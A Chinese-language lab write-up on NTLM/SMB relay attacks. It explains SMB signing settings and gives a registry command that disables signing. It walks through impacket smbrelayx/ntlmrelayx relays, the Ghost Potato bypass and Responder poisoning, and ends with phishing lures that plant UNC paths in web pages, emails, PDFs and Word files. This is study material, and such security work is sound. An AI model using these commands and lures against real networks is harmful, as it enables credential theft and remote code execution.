原生SMB重放攻击链路
前言:之前自己看的时候不太理解,现在发现好理解多了,于是就打算自己来记录下
参考文章:https://en.hackndo.com/ntlm-relay
参考文章:https://www.cnblogs.com/zpchcbd/p/11738923.html
参考文章:https://www.cnblogs.com/zpchcbd/p/17904328.html
参考文章:https://learn.microsoft.com/fr-fr/archive/blogs/josebda/the-basics-of-smb-signing-covering-both-smb1-and-smb2
参考文章:https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html
参考文章:https://github.com/fortra/impacket/pull/711
NTLM认证
参考文章:https://www.cnblogs.com/zpchcbd/p/11738923.html
具体的话可以参考下上面参考的笔记,这边的话就简单的以图来说明大概的交互情况
NTLM认证重放攻击
Client端 <-----> 攻击者 <-----> Server端之间的NTLM认证交互情况如下所示,这里只将大概的NTLM认证流程,不聊认证之间交互的细节
-
Client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者
-
然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge
-
攻击者拿到这个challenge以后再把它返回给client端
-
而client端拿到challenge在本地和自己的ntlm hash通过加密算法进行加密为response,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端
-
最后攻击者会拿着client端发过来的这个response再把它交给server端去验证
-
server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了
关于smbrelay的一些利用前提条件
Windows中SMB协议通信采用的是NTLM验证机制,当客户端访问\\IP\File
的时候,会默认将当前用户密码凭证送到SMB服务进行认证,失败后才弹出需要输用户密码的对话框,但此时SMB服务器已经收到了相应数据,通过抓包即能获取到用户凭证。有了这个凭证,再进一步利用Hashcat等工具进行破解即有可能得到能利用的用户密码。
而SMB重放攻击也并不是无条件就可以进行利用的,如下所示还有几个利用的前提条件,比如开启签名,以及打完补丁的机器
- 目标机器不能开启smb签名(只要说到签名,核心就是为了防数据篡改,任何协议都是如此),否则利用无效,如下图所示,可以看到如果服务端机器存在签名的情况的话,那么就会导致smbrelay失败
- 对一些打了ms08-068[KB957097]补丁的系统利用也是无效的,在后面实验过程里面也会体现到,这个漏洞后续是可以通过CVE-2019-1384(Ghost potato)来进行绕过
SMB签名Negotiate Sign字段(是否有签名的能力)
具体的流程发生在NTLM协商的过程中,如下图所示,我这边在客户端上执行了dir \\服务端的地址\c$
,其中Type1协商的数据包如下图所示
从中Negotiate Flags可以看到存在一个Negotiate Sign字段,当Negotiate Sign字段被置为1的情况,表示客户端支持签名。
注意点:客户端发送协商Type1的数据包的时候,其中Negotiate Sign字段被置为1,但是这并不意味着客户端一定会在数据包上进行签名,被置为1只是说明客户端支持数据包签名。
同样的在当客户端发送协商Type1的数据包之后,服务端返回的Type2的数据包中也存在Negotiate Sign,并且被置为1,如下图所示,但是这并不意味着服务端一定会在数据包上进行签名,被置为1只是说明服务端支持数据包签名。
判断是否要进行SMB签名的根本条件
从上面看到了,Negotiate Sign字段只是用来判断SMB认证中说明双方是否存在签名的能力
而SMB签名的根本条件是HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters
键中EnableSecuritySignature
和RequireSecuritySignature
字段
根据Microsoft文档中提供了一个矩阵,用于确定是否根据客户端和服务器端设置对SMB数据包进行签名,这边的话hackndo作者已经帮忙进行了总结,如下图所示
从下面图中还可以看出对于SMBv2,只有当它是至少有一方的签名是required的时候才会对数据包进行签名。
对于域控机器来说,默认是开启SMB签名校验,如下图所示,该图是域控机器上默认展示的组策略的选项,EnableSecuritySignature和RequireSecuritySignature均为1,则说明通信之间需要进行数据包的签名
在默认的域机器(客户端)和域机器(服务端)之间,EnableSecuritySignature和RequireSecuritySignature均为0,则说明双方通信之间不需要签名
那么如果这里的域机器(客户端)和域控机器(服务端)之间进行SMB通信是否需要签名呢?
域机器的EnableSecuritySignature和RequireSecuritySignature均为0
域控机器的EnableSecuritySignature和RequireSecuritySignature均为1
根据上面的总结图可以判断出是服务端需要SMB签名认证的。
那么如果这里的域机器(服务端)和域控机器(客户端)之间进行SMB通信是否需要签名呢?
域机器的EnableSecuritySignature和RequireSecuritySignature均为0
域控机器的EnableSecuritySignature和RequireSecuritySignature均为1
根据上面的总结图可以判断出是服务端需要SMB签名认证的。
注意点:当域机器(服务端)和域控机器(客户端)的SMB签名是可以进行绕过,这里看域控中的组策略,如下图所示,可以看到Microsoft 网络客户端: 对通信进行数字签名(始终)
这个条目是被禁用的,意思则是如果域控作为客户端的时候,在中继的时候如果将EnableSecuritySignature和RequireSecuritySignature设置为0的话(这种情况域控是可以接受的),那么此时是不会对SMB签名进行校验。
签名字段在SMB数据包中的展现
域机器和域机器之间
域机器 WIN-MSSQL 192.168.75.158
域机器 WIN-6R2MMNGJLI3 192.168.75.156
在WIN-MSSQL机器上面执行dir \\WIN-6R2MMNGJLI3\c$
,抓包情况如下图所示
WIN-MSSQL进行协商的数据包中可以看到,WIN-MSSQL指示它不需要签名,但如果需要的话,可以处理它。
接着WIN-6R2MMNGJLI3机器的响应同样也是,WIN-6R2MMNGJLI3指示它不需要签名,但如果需要的话,可以处理它。
Negotiate Sign置为1则说明都支持签名,如下图所示
最终进行NTLM Type3阶段的认证的时候可以看到最终是不进行数据包的签名的,如下图所示
这里可能会有一个疑问就是客户端这边看到的是EnableSecuritySignature和RequireSecuritySignature字段为都0,那为什么一开始协商的数据包中的security mode中signing enabled为true呢?
我这边可能认为的是这个是SMB2/3协议的默认行为。在SMB2/3协议中,无论注册表设置如何,数字签名始终被启用,但并不总是被要求,所以为什么在协商的时候Signing Enabled为true,即使你关闭了当前客户端的所有签名配置。
域机器和域控之间
域机器 WIN-MSSQL 192.168.75.158
域控 WIN-MG4C5QO445H 192.168.75.202
WIN-MSSQL进行协商的数据包中可以看到,WIN-MSSQL指示它不需要签名,但如果需要的话,可以处理它。
WIN-MG4C5QO445H进行协商的数据包中可以看到,进行协商的数据包中可以看到指示需要签名,并且可以处理它
之后资源请求交互的数据包中则存在对数据包的签名,如下图所示
SMBv1和SMBv2的在签名上的区别
-
SMBv1的签名支持"Required","Enabled","Disabled"
-
SMBv2的签名支持"Required","Enabled"
下面两个点需要注意下
-
在SMBv1中,服务器的默认设置为禁用。因此默认情况下客户端和服务器之间的所有SMB流量均未签名
-
在SMBv2中签名不再存在禁用状态,那么正常服务器默认就是启用Enabled状态,此时的规定是即使签名中Enabled状态为true,在这种情况下不再需要签名,这里的话可以根据下面的图来进行对比
可以看到即使client和server在smbv2中签名的状态为Enabled,但是smbv2中还是不进行签名
SMB签名如何关闭
关闭SMB签名验证的命令,对于Windows Server的话可以通过将注册表RequireSecuritySignature键值置为0即可,如下图所示
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f
NTLM认证重放攻击复现
ubuntu 攻击机器 192.168.75.198
win2016 被攻击机器 192.168.75.158
win2016 域控机器(被攻击机器) 192.168.75.202
中继域控机器客户端的域管账号请求到域机器服务端上
第一步,首先现在攻击机器上面探测smb签名以及系统版本和开放情况,如下所示,可以看到被攻击机器没有开启SMB签名,域控机器开启SMB签名
第二步,接着在ubuntu机器上进行smb中继攻击192.168.75.158,这里利用的是impacket套件中的smbrelayx.py
sudo -E python3 smbrelayx.py -h 192.168.75.158 -c ipconfig
然后在域控机器上执行dir \\192.168.75.198\c$
,这里如果利用成功的话可以看到默认会将当前域控机器(客户端)的Administrator Hash凭证和伪SMB服务器发来的挑战码生成NTLMv2哈希值再发送过去进行验证
第三步,这里需要注意的192.168.75.198是我们的ubuntu攻击机器,该ubuntu服务器上伪造了SMB服务器用来欺骗被攻击的机器,然后伪造的SMB服务器接收到了发送过来的凭证(NTLMv2哈希值)又会重放请求到要请求的机器192.168.75.158,最终在192.168.75.158上执行ipconfig命令
这里不知道大家会不会有一个问题就是,当域机器(服务端)和域控机器(客户端)之间进行SMB通信根据上面的图(SMB签名总结图)中按道理来说通信应该是需要SMB签名
这个情况就是我们上面提到的当域机器(服务端)和域控机器(客户端)的SMB签名是可以进行绕过,这里看域控中的组策略,如下图所示,可以看到Microsoft 网络客户端: 对通信进行数字签名(始终)
这个条目是被禁用的,意思则是如果域控作为客户端的时候,在中继的时候如果将EnableSecuritySignature和RequireSecuritySignature设置为0的话(这种情况域控是可以接受的),那么此时是不会对SMB签名进行校验。
注意点:这种启动服务会在windows日志中保存,如下图所示
中继域机器客户端的域管账号请求到域控机器服务端上
第一步,同样的在192.168.75.158机器上登录域管Administrator的账号,如下图所示
第二步,接着在ubuntu机器上进行smb中继攻击192.168.75.202,这里利用的是impacket套件中的smbrelayx.py
sudo -E python3 smbrelayx.py -h 192.168.75.202 -c ipconfig
然后在域控机器上执行dir \\192.168.75.198\c$
,这里如果利用成功的话可以看到默认会将当前域机器(客户端)的Administrator Hash凭证和伪SMB服务器发来的挑战码生成NTLMv2哈希值再发送过去进行验证
第三步,这里需要注意的192.168.75.198是我们的ubuntu攻击机器,该ubuntu服务器上伪造了SMB服务器用来欺骗被攻击的机器,然后伪造的SMB服务器接收到了发送过来的凭证(NTLMv2哈希值)又会重放请求到要请求的机器192.168.75.202,这边的话执行失败,因为域控服务端存在SMB签名校验,如下图所示
根据上面的图(SMB签名总结图)中按道理来说通信应该是需要SMB签名。
非域环境Windows Server机器(客户端)到Windows Server机器(服务端)
在测试之前这边稍微提下,这种利用是没有意义的,原因是想要中继成功的条件是密码一样,但是密码一样的话我也能直接横向到该机器,那么也就没必要去中继了,这边简单提及下
win2016 工作组机器 WIN-5PEQKE7T9DM 192.168.75.200 Administrator/admin@123
win2016 工作组机器 WIN-A3JII8TBERP 192.168.75.199 Administrator/admin@123
ubuntu 192.168.75.198
在ubuntu机器上中继攻击WIN-A3JII8TBERP机器,这边执行sudo -E python3 smbrelayx.py -h 192.168.75.199 -c ipconfig
在WIN-5PEQKE7T9DM机器上面执行dir \\192.168.75.198\c$
ubuntu中继的结果如下图所示
中继本身
win2016 工作组机器 WIN-A3JII8TBERP 192.168.75.199 Administrator/admin@123
ubuntu 192.168.75.198
在ubuntu机器上中继攻击WIN-A3JII8TBERP机器,这边执行sudo -E python3 smbrelayx.py -h 192.168.75.199 -c ipconfig
在WIN-A3JII8TBERP机器上面执行dir \\192.168.75.198\c$
ubuntu中继的结果如下图所示,可以看到中继失败
CVE-2019-1384 Ghost potato
参考文章:https://daiker.gitbook.io/windows-protocol/ntlm-pian/7#6.-cve-2019-1384
参考文章:https://shenaniganslabs.io/files/impacket-ghostpotato.zip
参考文章:https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html
这个漏洞绕过了MS08-068之后,用户不能relay回本机的限制。
win2016 域控机器 WIN-M3K6DM7F67I 192.168.75.199
ubuntu 192.168.75.198
配置ghost域名到192.168.75.198机器
在ubuntu机器上中继攻击WIN-M3K6DM7F67I域控机器,这边执行sudo -E python3 ntlmrelayx.py -t smb://192.168.75.22 -c ipconfig -smb2support --gpotato-startup exploit.txt
域控机器机器上访问http://ghost/x
,利用不成功,如下图所示
从上面的报错可以看出来是缺少了点参数,这个问题是impacket的pull中提到过的问题,这边进行修改即可,如下图所示
参考文章:https://github.com/fortra/impacket/pull/711
绕过原理
实际环境下的利用
个人理解:别人肯定不会无缘无故用其他计算机的ip来进行IPC管道类似的网络访问,这种是不切实际的,那么在实战中可以怎么利用呢?
-
第一种肯定是我们去监听局域网中的SMB流量传输,窃取相应的凭证
-
第二种就是我们进行钓鱼,让被攻击方自己上钩,其实就是一个主动一个被动的关系!
钓鱼欺骗(主动)
1、可以通过在用户经常访问的 Web 网站(已经被我们拿下web权限)上插入 UNC 路径, 例如 <img src="\\192.168.1.2\logo.jpg" />
以进行 SMB 请求 (当前用户凭据),发现成功重放攻击,一般来说getshell不太可能,但是大概率能够拿到Net-Ntlmv2,实在不行也可以进行破解的操作
注意:自己感觉实用性一点都不好用,但是大家需要知道的就是unc路径走的是SMB协议,所以才能对Net-Ntlmv2进行抓取
监听流量(被动):Responder
1、利用 Responder 来进行 LLMNR/NetBIOS-NS 以及 WPAD 欺骗 sudo python2 Responder.py -I ens33 -v
2、然后让第三方机器访问其他机器,Responder进行投毒欺骗,抓取到的Net-Ntlmv2的流量
在这里Responder起到的作用就是帮我们把Net-Ntlmv2进行捕获的,如果要对Net-Ntlmv2进行利用的话可以用到impacket套件中的ntlmrelayx.py,执行的命令为sudo python2 ntlmrelayx.py -t 192.168.1.158
,默认会帮你对攻击的机器进行sam中的dump哈希的操作
注意:这种监听流量很有效,但是进行欺骗不知道动静大不大,在实战中抓到Net-Ntlmv2更重要一点,对于拿服务器权限我们其实随时都可以,前提是SMB签名关闭
拓展
在实际渗透过程中,往往会配合钓鱼进行,红队经常这么玩。
1、在共享上放置特殊的目录,当用户点到这个目录的时候会自动请求攻击的SMB
2、在doc或邮件正文里插入文件,然后将相应的链接改为UNC路径(类似这种\\servername\sharename格式),通过内网邮件发送给对方
3、利用PDF的GoTobe和GoToR功能让对方打开PDF时自动请求SMB服务器上的文件等等。一般企业内部员工看到内部的邮件或公用共享文件夹会放松警惕,当点开之后,当前用户密码登录凭证已经被人拿到。
参考文章:https://cloud.tencent.com/developer/news/200028
4、metasploit中的auxiliary/docx/word_unc_injector会创建一个带有unc路径的word文件,当该文件被打开的时候攻击机器的msf上就会收到NTLMv2 hash。